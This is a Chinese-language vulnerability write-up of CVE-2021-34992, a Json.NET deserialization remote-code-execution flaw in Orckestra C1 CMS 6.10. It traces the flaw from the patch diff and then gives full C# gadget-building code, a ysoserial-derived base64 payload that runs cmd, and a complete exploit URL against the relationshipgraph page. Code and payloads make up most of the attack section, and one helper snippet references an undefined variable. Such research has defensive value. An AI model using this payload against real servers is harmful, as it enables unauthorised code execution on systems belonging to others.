CVE-2021-34992 Orckestra C1 CMS Deserialization RCE

Y4er 收录于类别代码审计和系列 Series

2021-12-04 2021-12-04 约 2103 字预计阅读 5 分钟

警告

本文最后更新于 2021-12-04，文中内容可能已过时。

# 漏洞描述

Orckestra C1 CMS 6.10存在 .net 反序列化漏洞，需要登录，成因是因为TypeNameHandling.Auto

# 环境搭建

下载 https://github.com/Orckestra/C1-CMS-Foundation/releases/download/v6.10/C1.CMS.6.10.zip

然后Visual Studio打开运行。

# 分析

根据cve描述和补丁对比发现漏洞点存在于Composite.dll，使用github的对比发现在此commit中增加了对反序列化绑定类型的校验。

https://github.com/Orckestra/C1-CMS-Foundation/commit/73dc26050e5f3ffc31531aa332463de9398bc213

而我在之前的文章中写过，json.net如果使用了TypeNameHandling.All或者TypeNameHandling.Auto，会造成反序列化问题。官方建议如果使用TypeNameHandling要使用binder来控制反序列化的类型。

那么根据补丁我们来看6.10版本的CompositeSerializationBinder类

有漏洞的6.10版本中判断了assemblyName等于Composite.Generated并且typeName以CompositeGenerated开头，进行自写类的type逻辑处理，别的type直接调用基类，那么等于没做限制。

CompositeSerializationBinder被用在CompositeJsonSerializer类中，其中有两个静态方法需要注意

直接传入json字符串然后反序列化，并且TypeNameHandling为auto。

第二个静态方法比较关键

分别获取json中的meta:obj、meta:type，然后根据type反射获取其Deserialize方法，如果为空则调用上面的第一个静态方法，传入meta:obj标签的值，直接反序列化。

我们可以构造payload如下

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{"meta:obj":"","meta:type":""}

当type获取不到静态Deserialize方法时，进入CompositeJsonSerializer.Deserialize<T>(text)

那么这两个点都可控，接着我们看哪里调用了这个方法。

EntityTokenSerializer.Deserialize(string)调用其两个参数的重载方法，经过CompositeJsonSerializer.IsJsonSerialized(serializedEntityToken)判断进入CompositeJsonSerializer.Deserialize<EntityToken>(serializedEntityToken, includeHashValue)

这里接受的类型为EntityToken，所以我们需要寻找EntityToken中可以存储payload的地方，例如一个object类型的字段。

我们可以通过几行代码来寻找哪些类继承了EntityToken类

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        Assembly[] assemblies = AppDomain.CurrentDomain.GetAssemblies();
        foreach (var assembly in assemblies)
        {
            if (assembly.FullName.Contains("Composite"))
            {
                Type[] types = assembly.GetTypes();
                foreach (var type in types)
                {
                    try
                    {
                        if (!typeof(EntityToken).IsAssignableFrom(method.ReturnType))
                        {
                            continue;
                        }
                        else
                        {
                            var memberInfos = type.GetProperties(BindingFlags.NonPublic|BindingFlags.Instance|BindingFlags.Public);
                            foreach (var member in memberInfos)
                            {
                                resp($"type:{type.Name} 字段名:{member.Name} 类型:{member.PropertyType}");
                            }
                        }

                    }
                    catch
                    {
                    }
                }
            }
        }

发现DataGroupingProviderHelperEntityToken类中GroupingValues是一个Dictionary<string, object>类型，可以存放gadget。

那么可以构造payload

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using Composite.C1Console.Elements.ElementProviderHelpers.DataGroupingProviderHelper;
using Newtonsoft.Json;
using System;
using System.Collections.Generic;
using System.IO;
using System.Runtime.Serialization;
using System.Security.Principal;
using System.Text;

namespace ConsoleApp1
{
    class Program
    {
        static void Main(string[] args)
        {
            // .\ysoserial.exe -f binaryformatter -g TextFormattingRunProperties -c calc --minify
            var windowsIdentity = new WindowsIdentityIdentityMarshal("AAEAAAD/////AQAAAAAAAAAMAgAAABtNaWNyb3NvZnQuUG93ZXJTaGVsbC5FZGl0b3IFAQAAAEJNaWNyb3NvZnQuVmlzdWFsU3R1ZGlvLlRleHQuRm9ybWF0dGluZy5UZXh0Rm9ybWF0dGluZ1J1blByb3BlcnRpZXMBAAAAD0ZvcmVncm91bmRCcnVzaAECAAAABgMAAAD6AjxPYmplY3REYXRhUHJvdmlkZXIgTWV0aG9kTmFtZT0iU3RhcnQiIHhtbG5zPSJodHRwOi8vc2NoZW1hcy5taWNyb3NvZnQuY29tL3dpbmZ4LzIwMDYveGFtbC9wcmVzZW50YXRpb24iIHhtbG5zOmE9ImNsci1uYW1lc3BhY2U6U3lzdGVtLkRpYWdub3N0aWNzO2Fzc2VtYmx5PVN5c3RlbSI+PE9iamVjdERhdGFQcm92aWRlci5PYmplY3RJbnN0YW5jZT48YTpQcm9jZXNzPjxhOlByb2Nlc3MuU3RhcnRJbmZvPjxhOlByb2Nlc3NTdGFydEluZm8gQXJndW1lbnRzPSIvYyBjYWxjIiBGaWxlTmFtZT0iY21kIi8+PC9hOlByb2Nlc3MuU3RhcnRJbmZvPjwvYTpQcm9jZXNzPjwvT2JqZWN0RGF0YVByb3ZpZGVyLk9iamVjdEluc3RhbmNlPjwvT2JqZWN0RGF0YVByb3ZpZGVyPgs=");
            Dictionary<string, object> dictionary = new Dictionary<string, object> { };
            dictionary.Add("asd", windowsIdentity);


            DataGroupingProviderHelperEntityToken dataGroupingProviderHelperEntityToken = new DataGroupingProviderHelperEntityToken(typeof(DataGroupingProviderHelperEntityToken).AssemblyQualifiedName);
            dataGroupingProviderHelperEntityToken.GroupingValues = dictionary;
            StringBuilder sb = new StringBuilder();
            using (StringWriter sw = new StringWriter(sb))
            using (JsonTextWriter writer = new JsonTextWriter(sw))
            {
                writer.QuoteChar = '\'';

                JsonSerializer ser = new JsonSerializer();
                ser.TypeNameHandling = TypeNameHandling.All;
                ser.Serialize(writer, dataGroupingProviderHelperEntityToken);
            }
            Console.WriteLine(sb);
            Console.ReadKey();
        }
    }

    [Serializable]
    public class WindowsIdentityIdentityMarshal : ISerializable
    {
        public WindowsIdentityIdentityMarshal(string b64payload)
        {
            B64Payload = b64payload;
        }

        private string B64Payload { get; }

        public void GetObjectData(SerializationInfo info, StreamingContext context)
        {
            Console.WriteLine(typeof(WindowsIdentity).AssemblyQualifiedName);
            info.SetType(typeof(WindowsIdentity));
            info.AddValue("System.Security.ClaimsIdentity.actor", B64Payload);
        }
    }
}

生成之后替换一下程序集名称

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{'$type':'Composite.C1Console.Elements.ElementProviderHelpers.DataGroupingProviderHelper.DataGroupingProviderHelperEntityToken, Composite','Type':'Composite.C1Console.Elements.ElementProviderHelpers.DataGroupingProviderHelper.DataGroupingProviderHelperEntityToken, Composite, Version=6.10.7583.21856, Culture=neutral, PublicKeyToken=null','Source':'','Id':'','GroupingValues':{'$type':'System.Collections.Generic.Dictionary`2[[System.String, mscorlib],[System.Object, mscorlib]], mscorlib','asd':{'$type':'System.Security.Principal.WindowsIdentity, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089','System.Security.ClaimsIdentity.actor':'AAEAAAD/////AQAAAAAAAAAMAgAAABtNaWNyb3NvZnQuUG93ZXJTaGVsbC5FZGl0b3IFAQAAAEJNaWNyb3NvZnQuVmlzdWFsU3R1ZGlvLlRleHQuRm9ybWF0dGluZy5UZXh0Rm9ybWF0dGluZ1J1blByb3BlcnRpZXMBAAAAD0ZvcmVncm91bmRCcnVzaAECAAAABgMAAAD6AjxPYmplY3REYXRhUHJvdmlkZXIgTWV0aG9kTmFtZT0iU3RhcnQiIHhtbG5zPSJodHRwOi8vc2NoZW1hcy5taWNyb3NvZnQuY29tL3dpbmZ4LzIwMDYveGFtbC9wcmVzZW50YXRpb24iIHhtbG5zOmE9ImNsci1uYW1lc3BhY2U6U3lzdGVtLkRpYWdub3N0aWNzO2Fzc2VtYmx5PVN5c3RlbSI+PE9iamVjdERhdGFQcm92aWRlci5PYmplY3RJbnN0YW5jZT48YTpQcm9jZXNzPjxhOlByb2Nlc3MuU3RhcnRJbmZvPjxhOlByb2Nlc3NTdGFydEluZm8gQXJndW1lbnRzPSIvYyBjYWxjIiBGaWxlTmFtZT0iY21kIi8+PC9hOlByb2Nlc3MuU3RhcnRJbmZvPjwvYTpQcm9jZXNzPjwvT2JqZWN0RGF0YVByb3ZpZGVyLk9iamVjdEluc3RhbmNlPjwvT2JqZWN0RGF0YVByb3ZpZGVyPgs='}},'Payload':null,'SerializedTypeName':'Composite.C1Console.Elements.ElementProviderHelpers.DataGroupingProviderHelper.DataGroupingProviderHelperEntityToken, Composite, Version=6.10.7583.21856, Culture=neutral, PublicKeyToken=null'}

然后再找一下哪里调用了EntityTokenSerializer.Deserialize(serializedEntityToken);

c:\Website\Composite\content\views\relationshipgraph\Default.aspx.cs

直接get传入EntityToken进行反序列化。

由此构造payload

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http://localhost:36859/Composite/content/views/relationshipgraph/Default.aspx?EntityToken={"meta:obj":"{'$type':'Composite.C1Console.Elements.ElementProviderHelpers.DataGroupingProviderHelper.DataGroupingProviderHelperEntityToken, Composite','Type':'Composite.C1Console.Elements.ElementProviderHelpers.DataGroupingProviderHelper.DataGroupingProviderHelperEntityToken, Composite, Version=6.10.7583.21856, Culture=neutral, PublicKeyToken=null','Source':'','Id':'','GroupingValues':{'$type':'System.Collections.Generic.Dictionary`2[[System.String, mscorlib],[System.Object, mscorlib]], mscorlib','asd':{'$type':'System.Security.Principal.WindowsIdentity, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089','System.Security.ClaimsIdentity.actor':'AAEAAAD%2F%2F%2F%2F%2FAQAAAAAAAAAMAgAAABtNaWNyb3NvZnQuUG93ZXJTaGVsbC5FZGl0b3IFAQAAAEJNaWNyb3NvZnQuVmlzdWFsU3R1ZGlvLlRleHQuRm9ybWF0dGluZy5UZXh0Rm9ybWF0dGluZ1J1blByb3BlcnRpZXMBAAAAD0ZvcmVncm91bmRCcnVzaAECAAAABgMAAAD6AjxPYmplY3REYXRhUHJvdmlkZXIgTWV0aG9kTmFtZT0iU3RhcnQiIHhtbG5zPSJodHRwOi8vc2NoZW1hcy5taWNyb3NvZnQuY29tL3dpbmZ4LzIwMDYveGFtbC9wcmVzZW50YXRpb24iIHhtbG5zOmE9ImNsci1uYW1lc3BhY2U6U3lzdGVtLkRpYWdub3N0aWNzO2Fzc2VtYmx5PVN5c3RlbSI%2BPE9iamVjdERhdGFQcm92aWRlci5PYmplY3RJbnN0YW5jZT48YTpQcm9jZXNzPjxhOlByb2Nlc3MuU3RhcnRJbmZvPjxhOlByb2Nlc3NTdGFydEluZm8gQXJndW1lbnRzPSIvYyBjYWxjIiBGaWxlTmFtZT0iY21kIi8%2BPC9hOlByb2Nlc3MuU3RhcnRJbmZvPjwvYTpQcm9jZXNzPjwvT2JqZWN0RGF0YVByb3ZpZGVyLk9iamVjdEluc3RhbmNlPjwvT2JqZWN0RGF0YVByb3ZpZGVyPgs%3D'}},'Payload':null,'SerializedTypeName':'Composite.C1Console.Elements.ElementProviderHelpers.DataGroupingProviderHelper.DataGroupingProviderHelperEntityToken, Composite, Version=6.10.7583.21856, Culture=neutral, PublicKeyToken=null'}","meta:type":"System.Security.Principal.WindowsIdentity, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089"}

其中"meta:type":"System.Security.Principal.WindowsIdentity, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089"这个类型可以随便给，只要实现序列化接口就行。